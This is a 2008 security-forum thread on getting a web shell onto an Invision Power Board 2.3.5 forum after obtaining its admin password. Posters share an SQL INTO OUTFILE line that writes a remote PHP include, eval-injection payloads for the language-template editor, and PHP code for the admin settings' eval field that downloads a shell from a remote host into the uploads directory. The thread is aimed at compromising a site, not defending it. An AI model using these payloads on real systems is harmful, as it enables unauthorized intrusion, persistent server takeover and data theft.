 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 |
Shell on IPB 2.3.5 |
 |
 Posted: Sun Oct 26, 2008 4:11 pm |
 |
|
| epro |
| Regular user |
 |
|
| Joined: Feb 11, 2008 |
| Posts: 24 |
|
|
|
 |
|
 |
|
| Hy, I get admin password in IPB 2.3.5 forum and I tried to upload shell. I tried sql command in sql toolbox: SELECT '<? @include("http://myhost/w4priv.php"); ?>' INTO OUTFILE '/opt/hosting/something/forums/indexs.php' , but i got message like: USER don't have access . Something like that, is there any other way to upload shell? |
|
|
|
|
|
|
|
|
| Posted: Sun Oct 26, 2008 5:03 pm |
|
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
Shell can be accessed through php code execution. And php code execution is possible via language templates editing:
http://acid-root.new.fr/?0:18
| Code: |
VI - CODE EXECUTION
The ACP allows admins to manage languages, they can
choose the default language, import a new one, and edit
them. Let's take a look in the file "sources/action_admin/
languages.php":
65| switch($this->ipsclass->input['code'])
66| {
..|
88| case 'doedit':
89| $this->ipsclass->admin->cp_permission_check(...);
90| $this->save_langfile();
110| break;
...|
935| function save_langfile()
936| {
...|
957| $lang_file = CACHE_PATH."cache/lang_cache/".$row['ldir'].
...| "/".$this->ipsclass->input['lang_file'];
958|
959| if (! file_exists( $lang_file ) ) ...
...|
963|
964| if (! is_writeable( $lang_file ) ) ...
...|
969| $barney = array();
970|
971| foreach ($this->ipsclass->input as $k => $v)
972| {
973| if ( preg_match( "/^XX_(\S+)$/", $k, $match ) )
974| {
975| if ( isset($this->ipsclass->input[ $match[0] ]) )
976| {
977| $v = str_replace("'", "'", stripslashes($_POST[$match[0]]));
978| $v = str_replace("<", "<", $v );
979| $v = str_replace(">", ">", $v );
980| $v = str_replace("&", "&", $v );
981| $v = str_replace("\r", "", $v );
982|
983| $barney[ $match[1] ] = $v;
984| }
985| }
986| }
As you can see, there's several replacements which are
made. Some HTML entities are converted to their applicable
characters. The "stripslashes()" function is also called.
But we don't really care about that, this will not cause
a problem, this was just to show you how user's inputs
are treated. Now let's see how the change is made:
993| $start = "<?php\n\n".'$lang = array('."\n";
994|
995| foreach($barney as $key => $text)
996| {
997| $text = preg_replace("/\n{1,}$/", "", $text);
998| $start .= "\n'".$key."' => \"".str_replace( '"', '\"', $text)."\",";
999| }
1000|
1001| $start .= "\n\n);\n\n?".">";
1002|
1003| if ($fh = fopen( $lang_file, 'w') )
1004| {
1005| fwrite($fh, $start );
1006| fclose($fh);
1007| }
So, there's a protection against double quotes, not all
escape characters. There are several ways to bypass this
protection.
The first method, is to play with what we call "dynamic
variables". With two $, we can execute PHP code.
Example: ${${@eval($_SERVER[HTTP_SH])}}
The second one, is to use another escape character, a
backslash (\) will do the stuff. The attacker must change
two inputs. Example:
First input: hello\
Second input: ); @eval($_SERVER[HTTP_SH]); /*
|
 |
|
|
|
|
|
|
|
|
| Posted: Tue Oct 28, 2008 12:27 pm |
|
|
| gyan007 |
| Advanced user |
|
|
| Joined: Oct 17, 2008 |
| Posts: 106 |
|
|
|
|
|
|
|
| I don't understand it. Can anyone explain it more? |
|
|
|
|
| Posted: Tue Oct 28, 2008 5:10 pm |
|
|
| epro |
| Regular user |
|
|
| Joined: Feb 11, 2008 |
| Posts: 24 |
|
|
|
|
|
|
|
I can't explain you this onw, but I can show one other, which is working very well!
Go to "Tools & Settings", select any of them, then press "Add New Setting", then in line "Raw PHP code to eval before showing and saving?" write php code like this:
| Code: | $linky="http://site.ru/shell.txt";
$saved="/usr/home/www/site/public_html/forum/uploads/shell.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from); |
Where $linky = link to shell and $saved = full direction where save file.
You can get full direction in php-info! |
|
|
|
|
| Posted: Wed Oct 29, 2008 9:32 am |
|
|
| gyan007 |
| Advanced user |
|
|
| Joined: Oct 17, 2008 |
| Posts: 106 |
|
|
|
|
|
|
|
I tried it but the phpinfo gives a 404..  Any idea's on how to get the path? |
|
|
|
|
| Posted: Thu Oct 30, 2008 8:30 am |
|
|
| pexli |
| Valuable expert |
 |
|
| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
|
|
|
|
|
|
|
|
|
|
| Posted: Thu Oct 30, 2008 1:12 pm |
|
|
| gyan007 |
| Advanced user |
|
|
| Joined: Oct 17, 2008 |
| Posts: 106 |
|
|
|
|
|
|
|
| Lol both topics link back to eachother |
|
|
|
|
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 79
Members: 0
Total: 79
